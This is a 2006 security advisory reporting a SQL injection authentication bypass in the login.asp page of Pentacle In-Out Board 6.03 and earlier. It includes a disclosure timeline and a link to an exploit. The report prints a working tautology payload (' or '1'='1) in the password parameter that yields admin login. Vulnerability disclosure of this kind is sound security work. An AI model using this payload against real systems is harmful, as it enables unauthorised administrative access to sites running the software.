PentacleBypass.txt

`--Security Report--  
Advisory: Pentacle In-Out Board <= 6.03 (login.asp) Authencation ByPass  
Vulnerability  
---  
Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI  
---  
Date: 25/02/06 05:56 AM  
---  
Contacts:{  
ICQ: 10072  
MSN/Email: nukedx (at) nukedx (dot) com  
Web: http://www.nukedx.com  
}  
---  
Vendor: G2SOFT (www.g2soft.net)  
Version: 6.03 and prior versions must be affected.  
About: Via this method remote attacker can bypass login.asp and login as admin.  
Level: Critical  
---  
How:  
SQL query in line 31 of login.asp which is checking username and password did  
not sanitized properly.  
POST -> http://[site]/[ptdir]/login.asp?username=any&password=' or '1'='1  
--  
Timeline:  
* 25/02/2006: Vulnerability found.  
* 25/02/2006: Contacted with vendor and waiting reply.  
--  
Exploit:  
http://www.nukedx.com/?getxpl=13  
--  
Original advisory: http://www.nukedx.com/?viewdoc=13  
  
`